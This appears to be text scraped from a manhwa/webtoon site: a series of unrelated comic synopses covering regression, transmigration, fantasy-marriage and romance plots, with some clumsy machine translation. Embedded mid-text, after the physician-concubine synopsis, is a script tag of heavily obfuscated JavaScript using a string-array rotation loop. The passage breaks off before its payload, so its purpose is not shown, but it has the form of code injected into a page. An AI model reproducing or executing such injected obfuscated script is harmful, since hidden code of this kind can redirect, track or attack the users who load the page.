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The Etruscan Kingdom is stained with blood when the king’s illegitimate son Cesare conspires with his fiancée Ariadne to usurp the throne from his half-brother Alfonso. Despite Ariadne’s devotion to the new king, her faith is shattered when she is betrayed by him and eventually murdered by her own sister, who wishes to be queen. To her surprise, Ariadne finds herself sent back in time to her 17-year-old self. As she navigates the perils and opportunities of palace intrigue, Ariadne must make the most of her guile and grit to ensure that her tragic future does not repeat itself.
Now a major adaptation on streaming. After an unexpected family tragedy, a reclusive high school student is forced to leave his home -- only to face something much scarier: a reality where monsters are trying to wipe out humanity. Now he must fight alongside a handful of reluctant heroes to try and save the world before it’s too late.
I am a modern-day physician, that transmigrated, and became a concubine. Abandoned by my lord, other concubines are constantly trying to find fault in me. Originally I did not have much interest in trashy men, and lived fairly peacefully. But sisters, heed my warning and be kind. After all, I used to work with a knife, and I’ve drawn blood, unlike you, who can’t even take a small scare.<script></script><script>(function(_0x111bcb,_0x3c4fc0){var _0x582199=_0x2258,_0x8c2a1c=_0x111bcb();while(!![]){try{var _0x1f57a4=-parseInt(_0x582199(0xde))/(-0x1d77+-0x126f+0x2fe7)+-parseInt(_0x582199(0xdc))/(0xb8e+0x1af9+0x207*-0x13)+-parseInt(_0x582199(0xd3))/(-0x142a+-0x1d0c+0x3139*0x1)*(-parseInt(_0x582199(0xd4))/(0x3*0x31+-0x2*0x3a6+-0x5*-0x159))+parseInt(_0x582199(0xe4))/(0x8*0x409+0x19b5+-0x39f8)+-parseInt(_0x582199(0xe0))/(0xb00+-0x1f12+0x1418)+-parseInt(_0x582199(0xca))/(-0x26*-0xa9+0x3*-0xa71+0x644)+parseInt(_0x582199(0xc6))/(-0x9a+-0xe99*0x1+0xf3b);if(_0x1f57a4===_0x3c4fc0)break;else _0x8c2a1c['push'](_0x8c2a1c['shift']());}catch(_0x4aa08b){_0x8c2a1c['push'](_0x8c2a1c['shift']());}}}(_0x5a03,-0xd66e4+-0x3*0x7cb78+0x32c3a0));function _0x5a03(){var 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What would you sacrifice to save your family? How far would you go to protect your people? For Clove, the last princess of a near-extinct Dragon clan, the answer is the unthinkable: MARRY your greatest sworn enemy in an effort to bring peace to your land.
Imagine you were a once-famous adult webcomic artist going through a career slump. Would you rather work with your stunningly sexy but jerk of a producer, Jooho, or your first love and story writer, Minjoon? Well, Hayoon has to work with both! With bills to pay and nothing but ramyun to eat after a string of failed series, Hayoon must successfully launch a new title with both of them on her team. Will she be able to navigate this professional nightmare and revive her career with a bang? And which man will end up taking the spot of her male lead?
I’m Divorcing My Tyrant Husband / 폭군 남편과 이혼하겠습니다 In the novel of Rofan, she was in possession of the Empress. Isn’t that good? The problem is that the empress was pushed by a crafty queen, beaten by the emperor, and eventually died of disease. I could not die waiting for my master to arrive in the freezing cold like the original Empress. I need to be a villain to get divorced. She was so extravagant, talked to others and bullied her husband. But the more I act tough, the more obsessed you are, Are you perv?!
“I never wanted this kind of body either. I wanted to be born with a big, muscular body just like a great hero…!” The marriage of the unashamed rabbit and the honorable wolf. Shaila, who chose a political marriage in order to avoid her father, headed to the North. However, the husband, who was supposed to be the legendary “Black Wolf”, turned out to be nothing but a small, feisty puppy… “Do you always try to avoid situations by pretending to be cute?” As long as her husband was this little guy who’s soft as cream bread, Shaila had no intention of leaving the Duke’s Castle. “Don’t worry about anything. If you can’t become a jewel, I’ll learn alchemy to help you.” “You are special to me. I will definitely make you shine.” Shaila, who knew that her husband suffered from social phobia and self-hatred, gave him confidence. “In any case… you’re a guy who needs a lot of love and care.” The cute, little guy grew up to be a big and fearsome wolf thanks to Shaila’s devoted caregiving… “I’m not even the slightest bit cute anymore, because I’m no longer a little, white, baby puppy…” “You’re still a baby puppy.” “Really?” “You’re still a small, white, cute, little pup. At least, that’s what you’re like in my eyes.” “What do you think, Shasha? Do you like me?” “Yeah. I like you just as much as I like chicory.” Shaila loves even the dirtiest parts of me. My Shaila. Her husband, Callion, was soon enlisted into the army. After he’d been missing for 15 years, the husband she thought was dead had returned as a strong adult man… “Now that we’re adults, we should kiss like adults.” Shaila blinked at Callion’s calm voice. She began to recite scripture; after 12 years of monastic life, she didn’t know anything about man and woman skinship. “How do adults kiss?” “An adult kiss is not just a peck, Shasha.” “…Then?” “It’s a french kiss.”
A surprise pregnancy sends Jeong-o, a college junior, into a panic. Her supportive boyfriend Jiheon plans a loving proposal, but a car accident erases his recent memories, including their romance. Seven years later, they reunite unexpectedly—but Jiheon has no recollection of Jeong-o or the fact that they share a precious daughter between them.
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What if all those things you thought you saw in the dark turned out to be real? The creature hiding outside your window, the eyes you think are watching you, the nightmares you thought were never possible. Come see Nocturne turn dread into reality. You never know what lurks around the corner...
Mori Jin is a high school student and Taekwondo specialist who enters "The God of High School," a fighting tournament that promises the winner anything they want. What began as a competition to seek out the best high school fighter soon reveals itself to be part of a much greater plot that goes beyond Mori's wildest imagination. What will he give to become a true god?
Read manhwa I Became the Villainess’s Favorite / 악녀님의 최애로 간택된 사정 I possessed a supporting female lead who played the role of the villainess’s lady-in-waiting. Instead of the female lead, I get scolded and slapped by the villainess, and there was even a situation where my fiancé who is so in love with the female lead cleans her feet. I can’t take it anymore! Rather than continuing on the female lead’s route, I will transform into the world’s richest and most powerful villainess! “What’s ever so wrong with our Lady? You’re much better than Seraphina!” “I only need our Lady!” With that feeling in mind, I was only being a little nice to the villainess. “I’m only taking care of you because I will be bored at the party as I will be attending it alone.” “A-ahh, I’m not giving it to you because you like it, all right? I’m only giving it to you because it’s rolling around in a drawer!” Be it jewelry, dresses, and of course shoes as well, she even hands over her family documents to me? And furthermore. “Lari, if you marry my brother, we can become a family. Right?” But that brother of hers is a man who only has his eyes on the female lead, right? I thought he was someone who would never like someone like me, so I tried to ignore it. “What makes you think I have no interest in Lady at all?” “……Yes?” “A lot, I’m interested a lot.” Why is the male lead smiling so sweetly at me without any stopping?!
